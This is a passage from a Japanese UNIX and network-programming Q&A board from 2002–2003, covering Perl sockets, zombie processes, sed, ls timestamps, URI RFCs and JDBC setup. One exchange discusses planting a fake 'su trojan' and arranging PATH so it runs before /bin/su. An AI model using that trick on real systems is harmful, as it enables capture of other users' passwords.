という形態であれば、普通は pipe(2) して、fork(2) して、子が親にデータを
渡し、親がログに書く、というふうになるでしょう。
      http://x68000.startshop.co.jp/~68user/cgi-bin/cvsweb.cgi/public_html/links/link-check.pl?rev=HEAD&content-type=text/x-cvsweb-markup
は子が親に 1行だけデータを渡す例です。

あるいは親が名前付きパイプを作成し、子がそこに書き込むとか。

いずれにせよ、syslog が使えないなら、syslog 相当のものを
自作する必要はあります。

No. 3008 # 68user 2002/12/27 (金) 01:44:34
>>3003 yuuji
> nobodyのファイルはどのユーザでもアクセスできると認識して
> いるのですが
誤りです。nobody はただの一ユーザであって、所有者が nobody の
ファイルを扱えるかどうかは そのファイルのパーミッションと、ファイルが
置かれているディレクトリのパーミッションによります。

UNIX においては、誰よりも権限が高いユーザは存在しますが (root)、
誰よりも権限が低いユーザというのは存在しません。


>>3004 Japper
> このことからRoot権限を得ているのでしょうか?
そうです。

> Root権限を与えない方法はどのようにすればよいのでしょうか?
suExec の前に、設定を見直した方がよいでしょう。
  
もし apache ならば、あえてそういうふうに設定しない限り root
権限は得られません。そういう web サーバを使い続けることは
非常に恐いので、まっとうなインストール方法を勉強するか、
web サーバをインストールした人に何をしたのか聞いてみる
ことをお勧めします。

# 「デフォルトが root 権限で動く web サーバ」なら正常動作
# なんでしょうが、そんな web サーバは嫌だ。

No. 3009 # ELVIS 2002/12/31 (火) 22:10:26
こんにちは
もうすぐ2003年ですね
仕事でSolaris8をいじるようになって早くも4年目に突入です
まだまだ未熟者ですがよろしくお願いします

自宅では2001/01版のSolaris8を「WS440BX」で使ってるのですが
最近I845系のマシン(ペンティアム4系)にUPしようと考えるようになりました
当然ながらチップセットやディスクコントローラ、システムコントローラ等の
ドライバを入手する必要があるのですが、苦慮しています
新型機の候補としては「D845GALLY」あたりを考えているのですが
情報等あればよろしくお願いします

No. 3010 # しましま 2003/01/02 (木) 20:11:32
    EWSのデバイス情報(CPUのクロック数、メインメモリ)を知ることができる
UNIXコマンドがありましたら、教えて下さい。

No. 3011 # とむやむ 2003/01/04 (土) 16:51:43
perlでネットワークプログラムを試作してます。
echoをC/Sで動作する事は出来るようになりましたが、ファイルを
ネットワーク越しに転送するにはどうすればいいのでしょうか?
同じくperlによるC/Sです。

No. 3012 # HIGE 2003/01/06 (月) 12:01:19
はじめまして。
echoサーバーサンプルを参考にしてPerlでちょっとしたチャットサーバーなんかを作ってます。
そこでいきなり質問なんですが、PerlでBroken Pipeエラーを回避するようにできないでしょうか?
Broken Pipeとは存在しないソケットに対して書き込んでしまったときにでるエラーのようで、クライアントが強制切断してしまったときなどは回避できません。
どうにか皆様のお知恵をお借りできませんでしょうか。

No. 3013 # kiki 2003/01/06 (月) 18:58:04
あけましておめでとうございます。kikiです。
本年もよろしくお願い致します。

>>68user様
ずいぶんと古い話で申し訳ありませんが、
>>2956 の解決策をためそうとしましたところ、
1. PATH=../../../../../../../home/foo/bar:$PATH とする。
カレントディレクトリの階層があまりに深くなければ、これでいける。

が、どういう事を意味するのかわかりませんでした。
そして、これはどこで行うのでしょうか?
suトロイの実行前の準備としてでしょうか?
ご教授よろしくお願いします。

P.S.
PATH=.:$PATH
にしておくき、suトロイがおいてある場所で、suコマンドを打ち込むと
suトロイが実行され、もう一度suコマンドを打つと
しっかり/bin/suが実行されますが、
suトロイがおいてある場所以外で同じことをしようとすると
suトロイは実行されず、いきなり/bin/suが 実行されました。
コマンドを探す順番は、カレントディレクトリからということでしょうか。
うーん、調べてみます。

No. 3014 # 68user 2003/01/07 (火) 03:03:58
今年こそはちゃんと web を更新するぞ、と。

てなわけで、今年もよろしくお願いします。

>>3009 ELVIS
>>3010 しましま
少なくとも僕はわかりません。申し訳ない。

>>3011 とむやむ
> ファイルをネットワーク越しに転送するにはどうすればいいのでしょうか?
以下のやりとりが参考になるでしょうか。
>>2827 Tetsu
>>2828 68user
ftp クライアントと ftp サーバを作るもよし、自分でプロトコルを
決めるもよし、ということです。

>>3012 HIGE
> PerlでBroken Pipeエラーを回避するようにできないでしょうか?
SIGPIPE をキャッチしてください。使用例はこちら。
    http://x68000.startshop.co.jp/~68user/net/http-proxy.html

>>3013 kiki
> PATH=../../../../../../../home/foo/bar:$PATH とする。
カレントディレクトリが /dir1/dir2/dir3 であるとき、
      ../ は /dir1/dir2 です。
      ../../ は /dir1 です。
      ../../../ は / です。
      ../../../../ は / です。
      ../../../../../ は / です。
      ../../../../../home は /home です。
      ../../../../../home/foo は /home/foo です。
      ../../../../../home/foo/bar は /home/foo/bar です。
ってことです。

> PATH=.:$PATH
> コマンドを探す順番は、カレントディレクトリからということでしょうか。
. はカレントディレクトリですから。

No. 3015 # koko 2003/01/07 (火) 13:04:15
>>3007 68user
ご回答ありがとうございます。
やはり、ファイルに同時書き込みをするにはロック、もしくはそれに相当する制御は欠かせませんね。
素直にsyslogを使用すれば良いのですが都合でsyslogは使用できません。
頂いた参考URL等を参考にしながら対策を検討します。

No. 3016 # ありがとう [URL] 2003/01/07 (火) 14:34:53
★ \(^o^)v 大 発 見 !♪

                 〜♪ とっても 参考にさせて頂いて ♪

    ~~\(^o^)♪ 〜 夢 と 希望 が 叶いました〜♪ (^o^)/~~
                  
             ありがとう  

No. 3017 # ピョンタン [E-mail] 2003/01/07 (火) 16:40:47
もし、ご存知であれば教えてください。
ファイルの日付を比較して新しいほうのファイルを表示したいです。
サーバが異なる場所(ネットワークには接続できる)に、
それぞれファイルが存在するします。
同じマシンであれば、>find file1 -newer file2 -print
で表示されるのです。remshで実行しようとしてもうまくいきません。
ご教授お願いいたします。

No. 3018 # kenken 2003/01/09 (木) 00:58:50
AIX上でファイル内の先頭行と最終行を削除したいのですが
UNIXコマンドで行を指定して削除することはできないのでしょうか?
※C言語の処理内で行いたいのでsystem関数で可能な方法

もしご存知であれば教えてください。
よろしくお願いします。

No. 3019 # 68user 2003/01/09 (木) 09:34:49
>>3017 ピョンタン
remsh でリモートのファイルのタイムスタンプを表示して、ローカルの
方より若ければ rcp するか、とりあえず別のファイル名で rcp して、
ローカルで比較するか、てな感じで。

>>3018 kenken
> AIX上でファイル内の先頭行と最終行を削除したいのですが
      % tail +2 < file | ??? | tail +2 | ???
でいけた記憶があります。??? はファイルの内容を逆順にする
コマンドですが、なんだったっけなー。ど忘れしました。

      % cat -n file | tail +2 | sort -r | tail +2 | sort | sed 's/^.......//'
てな方法もあります。

まぁファイルサイズが大きいなら perl か awk でさくっと書いた方が
よいでしょう。

No. 3020 # ピョンタン [E-mail] 2003/01/09 (木) 11:34:56
ご回答ありがとうございます。
大変助かります。>No.3019(NO3017についての回答)
もうひとつ教えてください。ファイルの
タイムスタンプを取得するのに、
(1)Jan 9 2001  ← 2001/01/09
(2)Dec 10 13:56 ← 2002/12/10
(3)Jun 1 15:00 ← 2003/01/01
というふうに統一性がありません。
特に、(2),(3)だったらどうやって比べればいいのでしょうか?
申し訳ありませんが教えて下さい。

赤色の文字は 「Windows 機種依存文字」か、いわゆる「半角カナ」です。 この掲示板では自動変換されますが、今後は使用しないで下さい

No. 3021 # 68user 2003/01/09 (木) 12:53:44
>>3020 ピョンタン
% ls -lT
% ls --fulltime -l
% perl -e 'printf "%d\n", (stat("/foo/bar/baz"))[9]'

などなど。

No. 3022 # ピョンタン [E-mail] 2003/01/09 (木) 16:24:16
お返事ありがとうございました。>No.3021
大変助かりました。
もう少しだけ教えてください。
%ls -fulltime -l
で確認することができましたが、
参考書や、Webで検索しても
の「fulltime」の引数指定意味がよくわかりません。
しかも、私は
×"--fulltime"
○"-fulltime"
で、なんとなくうまくいきました。
本当にお手数をおかけしますが、あともう少しなので
教えて下さい。どうかよろしくお願いします。

No. 3023 # 68user 2003/01/09 (木) 22:19:01
      % ls --fulltime -l

      % ls --full-time -l
の間違いでした。

>>3022 ピョンタン
> ○"-fulltime"
お使いの OS に興味があります。OS の名前を教えてください (てゆーか
質問する際に OS や環境を明示してくださいね)。

意味については
        % man ls
に説明があるはずです。

No. 3024 # テクノソルジャー 2003/01/10 (金) 15:15:07
初めまして、お世話になります。
68userさんのページのhttp-proxy
http://x68000.startshop.co.jp/~68user/net/http-proxy.html
をhttpポートフォワーダーに改造して使わせてもらっている物です。
Linuxですが、、連続して稼動させているとTOP表示でMEM使用率が上がって行きます(50%超え)、いろいろ手を加えてみましたが、未だにこのMEM増加を改善できませんでした。
そこでこれをforkを使ったechoサーバを参考にfork版に修正しました。
while (my $sock = $sock_waiting->accept){
        my $pid = fork();
        my $cpid = $pid ;
        if ($pid!=0) {
    close($sock) ;
    next ;#parlent process
        }
        print " FROM Browser. Accept $sock.\n";
        #Child process
        my ($buf,$request);
        while (1){
                my $brs = sysread($sock, $buf, 10000);
                $request .= $buf;
                if ($brs) {
                        last ;
                }
        }
        print " FROM Browser. Read OK.\n";
        ここに転送先サーバ側とのソケット作成と受信&ブラウザへの返信を記述
        print " FROM Browser. Finished.\n";
        close($sock);
        print " FROM Browser. process End \n";
        exit ;
}

の様に子プロセスのexit文もいれました。なのにpsで見ると、、
hoge 19438 12855 0 14:55 pts/21 00:00:00 perl http-proxy2.pl
hoge 19578 19438 0 14:55 pts/21 00:00:00 [perl <defunct>]
hoge 19579 19438 0 14:55 pts/21 00:00:00 [perl <defunct>]
hoge 19580 19438 0 14:55 pts/21 00:00:00 [perl <defunct>]
hoge 19581 19438 0 14:55 pts/21 00:00:00 [perl <defunct>]
アクセスした分この様なプロセスが残りっぱなしになります。
当然大元スクリプトを停止すればプロセスは消えます。
どうか宜しくご意見ください。

No. 3025 # 68user 2003/01/11 (土) 00:22:35
>>3024 テクノソルジャー
> hoge 19578 19438 0 14:55 pts/21 00:00:00 [perl <defunct>]
> アクセスした分この様なプロセスが残りっぱなしになります。
wait していないからです。以前指摘をいただいたのですが、時間が
とれず手付かずになっています (申し訳ない)。
>>2584 persianopeh
をどうぞ。

> 連続して稼動させているとTOP表示でMEM使用率が上がって行きます(50%超え)
どうもオリジナル版のバグっぽいですね。久々に使ってみましたが、
確かにメモリ使用量がだんだん増えていきました。調べておきます。

# と言っても暇がない〜。

No. 3026 # 68user 2003/01/11 (土) 00:38:38
>>3024 テクノソルジャー
> 連続して稼動させているとTOP表示でMEM使用率が上がって行きます(50%超え)
コネクションを切断しても %conn_table_rev が IO::Socket::INET の
オブジェクトを指しているみたいです。

あと、%conn_table もキーが増えつづけるようです (値は undef かな?)
%conn_table_rev ほどではありませんが (一回あたり数十バイトくらい
でしょうか)、メモリリークなのは確かですね。

なので、remove_contable で適切にハッシュを delete してやればよい
のかもしれませんが、明日も仕事なのでこの辺で… (´・ω・`)

No. 3027 # テクノソルジャー 2003/01/11 (土) 07:36:54
お忙しいところ調査並びご返事ありがとうございます!
>>3025 68user
なるほど、、その仕組みが理解できませんが、、
連休明けには会社で早速処置してみます!
>>3026 68user
こちらはclose漏れかといじって見ましたが、、ハッシュにバインドされているから生成オブジェクトが開放されなかったのですね〜
ハッシュにdefunで増加など考えもしませんでした。
私的に貴重な知識を得ましたです!

No. 3028 # 68user 2003/01/12 (日) 00:37:28
久々にこのサーバのメンテナンスしようとしたら、cron (デーモン) は
2001/11 から止まってるわ、間違って ~/bin/ は消してしまうわで もう散々。

いろいろ動かなくなっていると思いますが、なるべく早く直したいと思います。

No. 3029 # VTOK 2003/01/12 (日) 01:27:21
はじめまして、こんにちは。

いつも参考にさせていただいております。
sedコマンドを使用して文字列の置換をする処理をしたいのですが、
エラーになってしまいます。

やりたいことは、
「aa aaa aaab aac bbb」から『aaa』だけを消したいのです。
---------------------------------------------------
Sample)aaa.sh
#!/bin/sh
testA=`echo aa aaa aaab aac bbb | sed s/aaa\\\b//g`
---------------------------------------------------
としたとき、「//g」が見つかりませんとなります。
※ただし「testA」は、「aa aaab aac bbb」となっていますが、、。
ちなみにシェルではなく単純に実行するとエラーはでません。
    > echo aa aaa aaab aac bbb | sed s/aaa\b//g
    > aa aaab aac bbb
※シェル内では\bは「\\」をつけています。

どなたかお力を貸していただけないでしょうか。
また、「sed」以外の方法でもよいです。

-環境:Linux(RedHat 7.2)

宜しくお願いいたします。

No. 3030 # 68user 2003/01/12 (日) 02:59:48
>>3029 VTOK
手元の FreeBSD の sh や bash ではエラーにならなかったので
よくわかりませんが、そもそも
      % echo aa aaa aaab aac bbb | sed s/aaa\b//g
この aaa\b はシェルが解釈すると aaab になるので、
      % echo aa aaa aaab aac bbb | sed s/aaa\b//g

      % echo aa aaa aaab aac bbb | sed s/aaab//g
と等価だと思います。

ただしスクリプト中の
      testA=`echo aa aaa aaab aac bbb | sed s/aaa\\\b//g`
は正しいと思います。なんでエラーになるんだろう。

No. 3031 # ふくし [E-mail] 2003/01/12 (日) 23:01:07
あけましておめでとうございます。
いつもお世話になりっぱなしですが、今年もよろしくお願いします。
68user さん Perl 5.8 入れてみましたか ;;;

いぜん jperl5.5 でファイルテスト演算子 -T を使っていたんですが、
EUC-JP モードであれば EUC-JP の、
Shift_JIS モードであれば Shift_JIS の漢字を真にしてくれて
便利だったんですが、Perl 5.8 に変えたので
使えなくなってしまいました。
encoding で切り替えられるかと思ったんですがダメでした。
あくまで -T を使いたいとしたらどうすればいいか、
どなたかお分かりであればご教示ください。

No. 3032 # akuro [E-mail] 2003/01/13 (月) 01:19:58
初めましてakuroと申します。

最近、ここを知り色々と勉強させて頂いています。
「HTTP クライアントを作ってみよう(4)」にてお聞きしたい事があるのですが。

HTTP CLIENTを実際に作成して動かしてみたのですが、
「さらなる改善点・URL エンコード」の中で、~(チルタ゛)のついた
場合、変換しなければならないとあるのですが、処理を記述しないで
試しに

http://x68000.startshop.co.jp/~68user/

と入力してみたのですが、問題なく表示されました。
これはどういう事なのでしょうか?

それと、次の項目の「301 Moved Permanently」なのですが、
これも/(スラッシ)無しでも表示されました。
(HEADの場合HTTP/1.1 301 Moved Permanentlyと出ましたが、
BODYもちゃんと表示されました)
これもなぜ表示されるかわかりません。


質問が長くなってしまいましたが、よろしくお願いします。
(HTTP_CLIENTは少し変更して、CGI版にしていますが、処理自体は
変更していません。)

赤色の文字は 「Windows 機種依存文字」か、いわゆる「半角カナ」です。 この掲示板では自動変換されますが、今後は使用しないで下さい

No. 3033 # 68user 2003/01/13 (月) 04:02:59
また長ったらしい文章を書いてしまった…。

>>3031 ふくし
> 68user さん Perl 5.8 入れてみましたか ;;;
5.8 どころか最近は 5.004_04 を使ってますよ。退化してます。

> いぜん jperl5.5 でファイルテスト演算子 -T を使っていたんですが、
> EUC-JP モードであれば EUC-JP の、Shift_JIS モードであれば Shift_JIS の
> 漢字を真にしてくれて便利だったんですが、Perl 5.8 に変えたので
perl-5.8.0/pp_sys.c には
          PP(pp_fttext)
          {
                  for (i = 0; i < len; i++, s++) {
                          if (!*s) { /* null never allowed in text */
                                  odd += len; break;
                          }
          #ifdef USE_LOCALE
                                  if (IN_LOCALE_RUNTIME && isALPHA_LC(*s))
                                          continue;
          #endif
                                  /* utf8 characters don't count as odd */
                                  if (UTF8_IS_START(*s)) { ... }
                                  ...
                          }
                          else if (*s < 32 &&
                              *s != '\n' && *s != '\r' && *s != '\b' && *s != '\t' && *s != '\f' && *s != 27)
                                  odd++;
        }
とかなんとか書いてあったりします (UTF8 は OK のような雰囲気ですね)。

USE_LOCALE で IN_LOCALE_RUNTIME ならもしかして! …というわけでさらにおっかけていくと
        % find . -type f | xargs grep isALPHA_LC
        ./handy.h:# define isALPHA_LC(c) NXIsAlpha((unsigned int)(c))
        % find . -type f | xargs grep NXIsAlpha
        ./handy.h: (NXIsAlpha((unsigned int)(c)) || (char)(c) == '_')
        ./handy.h:# define isALPHA_LC(c) NXIsAlpha((unsigned int)(c))
てなわけで NXIsAlpha とやらが定義されていません。isALPHA_LC を
よく見てみると
        #ifdef USE_NEXT_CTYPE
        # define isALPHA_LC(c) NXIsAlpha((unsigned int)(c))
        #else
        # define isALPHA_LC(c) isalpha((unsigned char)(c))
        #endif
てな感じなので、将来は実装するぞ、てなところでしょうか。


>>3032 akuro
> 「さらなる改善点・URL エンコード」の中で、~(チルタ゛)のついた
> 場合、変換しなければならないとあるのですが
URI を定義しているのは RFC1738 です。
      http://www.ietf.org/rfc/rfc1738.txt?number=1738
そこには
      httpurl = "http://" hostport [ "/" hpath [ "?" search ]]
とあります。/~68user/ や /%7E68user/ という部分は hpath に相当します。

      hpath = hsegment *[ "/" hsegment ]
      → hpath は hsegment を / で結合したもの。

      hsegment = *[ uchar | ";" | ":" | "@" | "&" | "=" ]
      → hsegment は uchar か上記記号の 0 個以上の繰返し。

      uchar = unreserved | escape
      → uchar は unreserved か escape。

      unreserved = alpha | digit | safe | extra
      escape = "%" hex hex
      → unreserved は alpha, digit, safe, extra のいずれか。escape は %XX 形式。

      alpha = lowalpha | hialpha
      digit = "0" | "1" | "2" | "3" | "4" | "5" | "6" | "7" | "8" | "9"
      safe = "$" | "-" | "_" | "." | "+"
      extra = "!" | "*" | "'" | "(" | ")" | ","
      → alpha, digit, safe, extra は上記の文字 (lowalpha は英小文字、hialpha は英大文字)。

上記のどこにも ~ は含まれていません。よって、hpath には ~ を
含めてはならず、/~68user/ は間違いで /%7E68user/ は正しいのです。



…というのはその文書を書いた当時の話。今 URI を規定しているのは RFC2396 です。
      http://member.nifty.ne.jp/moha/rfc/rfc2396j.txt

/~68user/ に相当するのは abs_path です (*1)。
            abs_path = "/" path_segments
            path_segments = segment *( "/" segment )
            segment = *pchar *( ";" param )
            param = *pchar
            pchar = unreserved | escaped |
                                            ":" | "@" | "&" | "=" | "+" | "$" | ","
            reserved = ";" | "/" | "?" | ":" | "@" | "&" | "=" | "+" | "$" | ","
            unreserved = alphanum | mark
            mark = "-" | "_" | "." | "!" | "~" | "*" | "'" | "(" | ")"

mark に ~ が含まれているため、URI として ~ を記述することが認められています。

また、上記ページの「G.2. RFC 1738及びRFC 1808からの修正点」には

> チルダ文字"~"を"unreserved"集合に追加した。ある種のキーボードではこの文字の
> 入力に困難を伴うが、インターネットにおいて広く用いられているためである。

とあります。

よって、現在では /~68user/ というリクエストを送っても問題ありません。ただし
/%7E68user/ という表記も間違いではありません。/~68user/ と /%7E68user/ は
等価です。

# …という解釈でいいのかなぁ。自信がないなぁ。

じゃー昔は /%7E68user/ と書かずに /~68user/ とするとエラーになったのか
というと、そんなことはありませんでした。その理由は
        「~ を ~ として解釈しても誰も (web サーバも web クライアントも)
            困らないので (むしろ便利)、web サーバが気をきかせてくれたから」
だと思います。


(*1)
なぜ /~68user/ が abs_path なのかというと、
      RFC2616 (http://www.studyinghttp.net/rfc_ja/2616/sec3.html#sec3.2.1)

      http_URL = "http:" "//" host [ ":" port ] [ abs_path [ "?" query ]]
と定義してあり、さらに
      URL 構文やセマンティクスの定義についての情報については、(RFC 1738 [4] と
      RFC 1808 [11] を置き換えた)
          "Uniform Resource Identifiers (URI): Generic Syntax and Semantics," RFC 2396 参照。
      この規格書では、その規格書にある、"URI-reference", "absoluteURI", "relativeURI",
      "port", "host", "abs_path", "rel_path", "authority" の定義を採用する。
とあるからです。

> それと、次の項目の「301 Moved Permanently」なのですが、
> これも/(スラッシ)無しでも表示されました。
こちらで試してみたところ、

        GET /~68user HTTP/1.0

        HTTP/1.1 301 Moved Permanently
        (略)
        Location: http://jfx.startshop.co.jp/~68user/
        (略)

        <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
        (略)
        </BODY></HTML>

となりました。ここで BODY 部に表示されているのは、
      「あなたが要求したドキュメントはここにあるのでクリックしてね」
という web サーバが生成した文章ですので、正しい挙動だと思います。

No. 3034 # ふくし [E-mail] 2003/01/13 (月) 08:03:06
あっそうそう、utf8 は実装してるんですよ、言い忘れました。
ソースを追ってくれてありがとうございます。
そうやって見るんですね〜

5.004_04 って for (0..100000) でメモリはじけませんか。
ぼくは例の BigInt の件もあるし、encoding の件もあるしで、
無批判に最新版を使うようにしています。

No. 3035 # ゴラス 2003/01/13 (月) 23:02:11
68userさん詳しい解説ありがとうございました。

正直、自分はネットワークに関する知識が低く、100%解説を
理解できたわけではないのですが、大雑把にですが理解しました。
(RFCも始めて閲覧しました)

これからも色々と勉強させていただきたいと思います。

No. 3036 # アロエ 2003/01/14 (火) 09:25:48
教えてください。
メモリ使用率が知りたいのです。Linuxではsysinfoというシステムコールを使って出せましたが、SolarisとHP-UXで出せません。
知ってる方がいましたら教えてください。

No. 3037 # 68user 2003/01/15 (水) 01:40:47
>>3036 アロエ
HP-UX は知りませんが、Solaris なら vmstat とか。
sar でもいけたっけかな?

とかいいつつ、僕は top 入れてますけれども。

No. 3038 # ピョンタン [E-mail] 2003/01/16 (木) 08:50:03
お返事遅くなりました。(>>3023)
OSはUNIX(HP)です。
man lsでfulltimeを探したのですが
見つかりませんでした…。しかも、
「-fulltime」でうまくいったかと思ったのですが、
そうでもなさそうでした。
いろいろありがとうございました。

No. 3039 # コーコー [E-mail] 2003/01/16 (木) 21:01:28
はじめまして、初めて書き込みます。
僕は高校3年生で、こんなところに書き込むのは若干場違いなのですがどの書籍を見てもよくわからなかったので書き込みました。
今、学校でLinuxを使ってHTTPについて勉強しているのですがどうしてもファイル転送ができません。
サンプルプログラムで実行しても出来ません。(その作者のホストにはちゃんとアクセスできます)
Not FoundやForbiddenというのがでます。
chmodでそのファイルを他からも読み書きできるようにしているのですが無理でした。どうしたらいいでしょうか??
あとサンプルでは全てhtmlファイルなんですが、htmlファイルしかダメというわけでしょうか?
詳しい知識もなく、このような場を借りることは失礼だと思いましたが真剣に今の研究をやりとげたいと思いメールしました。
宜しくお願いします。

No. 3040 # 68user 2003/01/16 (木) 22:05:27
>>3038 ピョンタン
あー、-f、-u、-l、-t、-i、-m、-e 全てのオプションを
受け付ける ls なら -fulltime でもエラーにならないかも
しれないですね。想像ですが、HP-UX の ls では無理でしょう。
perl・awk などの別解でやってみてください。

>>3039 コーコー
> ファイル転送ができません。
ファイル転送とはアップロード? ダウンロード?

> サンプルプログラムで実行しても出来ません。
そのサンプルプログラムを提示しないと誰にもわからんでしょう。

> (その作者のホストにはちゃんとアクセスできます)
なぜ作者のホストが関係あるのですか? 作者のホストに
アクセスするようなサンプルプログラム? と思ったら、

> chmodでそのファイルを他からも読み書きできるように
> しているのですが無理でした。
chmod できるということは自分の web ページに対して
アクセスしている?

> どうしたらいいでしょうか??
自分が何を意図して何をした結果うまくいかないのか、を説明する
ことだと思います。

No. 3041 # has 2003/01/17 (金) 01:49:04
おひさしぶりです。またまたおじゃまします。長々とごめんなさい。

以前、LAN環境でlinuxを利用していてNetscape等で名前解決できない
というご相談を、
>>2779 has
    :
>>2871 has
でさせていただきましたが、その後すっかりほったらかしでした。
で、最近また気が向いたのでいくらか調べた結果、いくつか新しい事が
わかってきたので一応ご報告します。

まず、dhcpにて各種情報を正常に取得できていたと以前は言ったのですが、
実はeth0起動時に1分程度かかっていました。これに関して、どうやら
dhcpcdの動作はRFCで提案されている2通りのいずれかを指定できる
らしく、デフォルトではなく、-rを指定することにより一瞬で起動する
ようになりました。この-rで動作するモードですが、linux関係の
情報源ではあくまでも「RFC1541」と解説しているものの、どうもMSの
提案した動作のようで、これを指定してうまく動くという点が非常に
ひっかかりました。

で、もしやこのLANではWindowsサーバが名前解決してるんでは?と思い
はじめ、それからNetBIOSやWINSといった言葉を知るようになり、
そしてこのLAN内ではDNSが走っていないのかも、と疑い出しました。

というのも、linux上でdigによる正引きはなぜかできるのですが、
やはりCで書いたgethostbynameを利用するプログラムが動かないのは
おかしいと思い、Windowsでは本当にDNSを利用しているんだろうか、
と思ったのです。試しにWindows上でipconfigによってDHCPで取得した
DNSサーバアドレス192.168.0.1を割り出し、そのDNSポート53にtelnet
してみたところ、アクセスはrefusedでした。

もしかしたらセキュリティ確保のため、コンマ数秒でリクエストが無い
場合にはとっととコネクションを切っているのかもしれませんが、
なんとなく俺的にはやはりDNSが動いていないような気がします。

というわけで、結論としてWindowsネットワークにlinuxをクライアントと
して参加させる方法、というのが知りたいのですが、どうも検索をしても
linuxをサーバ、Windowをクライアントとしてネットワークを構築する
方法しか目につかず、どうしたらよいのかわからない状況です。

もしかしたらsambaをWINSクライアントにする、という方法を使うのかも
しれませんが、だとしてもそれをlinuxの名前解決とどう連携させるのか
その方法もわかりません。もしこのあたりのことで知っていることが
あれば、アドバイスまたは資料の場所などを教えてください。

よろしくお願いします。

No. 3042 # AMA [E-mail] 2003/01/17 (金) 16:25:05
[OSのVER]:Solaris7
[SQLServerのVER]:SQLServer2000
http://www.microsoft.com/japan/msdn/sqlserver/downloads/jdbc/default.asp
にて提供されているJDBCDriverについて、
Windows版は使用可能だったのですが、
(Win2000PRO/TOMCAT/JSP→JDBCDriver→Win2000Server/SQLServer2000)
UNIX版では
(1)インストール
(2)環境変数の設定
で躓いております。

(1)についてはinstall.kshを起動した際に以下のメッセージが表示され
正常にインストールされません。
****************************************************************
RSWWW001% su
Password:
RSWWW001# cd /export/home/ldn
RSWWW001# ls
DeadLetters fsearchc mssqlserverj.tar
EULA.txt install.ksh read.me
Mail list.jsp result.jsp
a.txt local.cshrc su.txt
classes_20010820.tar local.login test.login20030117
core local.profile testpass.sh
editerc msjdbc.tar
RSWWW001# ksh install.ksh
install.ksh[2]: ^M: 見つかりません。
install.ksh[3]: clear^M: 見つかりません。
install.ksh[4]: ^M: 見つかりません。

============================================================
= SQLServer 2000 driver for JDBC Installation =
= Version 2.2.0021 =
============================================================

Initializing.....

install.ksh[13]: ^M: 見つかりません。
install.ksh[17]: ^M: 見つかりません。

=================================================================
= SQLServer 2000 driver for JDBC License Agreement =
=================================================================

Press <enter> to view License Agreement.
install.ksh[24]: DUMMY^M: 英数字以外の文字が使用されています。
install.ksh[25]: ^M: 見つかりません。
: ファイルもディレクトリもありません。
install.ksh[27]: ^M: 見つかりません。

Do you agree to the terms of the License Agreement? <y/n> (y)
install.ksh[30]: ^M: 見つかりません。
install.ksh[31]: ANSWER^M: 英数字以外の文字が使用されています。
install.ksh[32]: ^M: 見つかりません。
' 異常終了しました。 エラー 行目34 : `in
RSWWW001#
****************************************************************
そこでinstall.kshの記述に沿う形で
/opt/msSQLjdbc/lib以下にjarファイルを格納して作業を進めています。

(2)については、
Soralis7/富士通WebServer(INTERSTAGE)→JDBCDriver→WinNTServer/SQLServer2000
という環境下で、前述のWindows(TOMCAT)上で動作していたJSPを動かそうとしたところ、
JDBCDriverをロードする際に、ClassNotFoundExceptionが発生してしまいます。
****************************************************************
Class.forName("com.microsoft.jdbc.sqlserver.SQLServerDriver");
****************************************************************
CLASSPATHの設定もしているのですが、原因が掴めません。

(1)(2)についてご助言頂ければ幸いです。
是非宜しくお願い致します。

赤色の文字は 「Windows 機種依存文字」か、いわゆる「半角カナ」です。 この掲示板では自動変換されますが、今後は使用しないで下さい

No. 3043 # コーコー [E-mail] 2003/01/17 (金) 19:10:47
NO3039の続き

>>3040 お返事ありがとうございます。言葉足らずで申し訳ありませんでした。
そのサンプルは単純にデータを取得して、ファイルに保存するだけのものです。

http://www.ncad.co.jp/~komata/netprg のHTTPのサンプルソース一式
を参照しました。

作者のホストには例題としてアクセスしてみました。

自分のwebページは持っていません。学校の共有PCでやっているので学校内の他のPCからファイルを
もってくるにはchmodを使うものだと思いました。

僕の中では最終的には複数のクライアントからの処理を並列処理(マルチスレッドを利用する予定)してサーバー
、クライアント間でデータをアップロード、ダウンロードできるようにしたいです。

プログラムはCでしか出来ませんが何かよいプログラムなどはあるでしょうか?
よろしくおねがいします。

No. 3044 # 68user 2003/01/18 (土) 00:06:05
>>3041 has
> DNSサーバアドレス192.168.0.1を割り出し、そのDNSポート53にtelnet
> してみたところ、アクセスはrefusedでした。
まず、DNS の query は TCP じゃなくて UDP ですが、それは OK ですか?

> Windowsネットワークにlinuxをクライアントとして参加させる方法
マイクロソフトネットワークについての知識はほとんどないのですが、
    http://www.hyperdyne.co.jp/~oohashi/work/resolve/resolve.shtml
などを読む限り、その方向性はなんか違うような気がします。
Windows マシンでパケットアナライザを使って、DNS サーバに
query を投げているかどうか確認してみてはどうでしょうか。


>>3042 AMA
> install.ksh[25]: ^M: 見つかりません。
スクリプトの改行コードが Windows 式の 0x0D 0x0A になっている
からでしょう。

> CLASSPATHの設定もしているのですが、原因が掴めません。
どのように設定したのか書かないと誰にもわからないと思いませんか?

あと、tomcat は起動スクリプト内で CLASSPATH を設定しなおすんじゃ
なかったでしたっけ (tomcat4 だけだったかも)。

てゆーか、インストールが成功したかどうかは、まずコマンドライン
アプリケーションから確認すべきだと思います。
    http://java-house.jp/ml/archive/j-h-b/021880.html#body


>>3043 コーコー
> 自分のwebページは持っていません。学校の共有PCでやっているので
> 学校内の他のPCからファイルをもってくるにはchmodを使うものだと
> 思いました。
校内のマシンに apache や IIS などの web サーバを立てましたか?
立ててないなら無理です。まずは、ブラウザで
    http://www.example.co.jp/foo.html
などとアクセスできるようにサーバ側を設定する必要があります。

しかし
> Not FoundやForbiddenというのがでます。
というのを見ると web サーバは設定済のようにも読めますし、
よくわかりませんね。ブラウザで見るとどうなるんですか?
サンプルプログラムの引数には何を設定しているのですか?

> http://www.ncad.co.jp/~komata/netprg/
この作者の書いた「C for UNIX」という本は買いましたが、
セマフォあたりの解説で
    「よくわからんがこんな感じで動いている」
といったことが書いてあり、なかなか脱力させていただきました。

サンプルの httpget.c も、
    - htons を使わず、わざわざ short_conv なる関数を自作している。
    - select(2) のループ内で struct timeval をリセットしていない。
    - main の戻り値が void。
    - インデントが厨房くさい (作者の中では一貫した基準らしきものが
        あるようだが…)。
    - shutdown -> close という手順を踏んでいる意味がわからない。
        (close でいいんじゃない?)
    - 戻り値が int の関数であっても、呼び出し前に宣言すべきでは?
        (引数の型チェックができないし)
と、なかなか怪しげです。

# ま、僕も他人のことは言えないのですが。

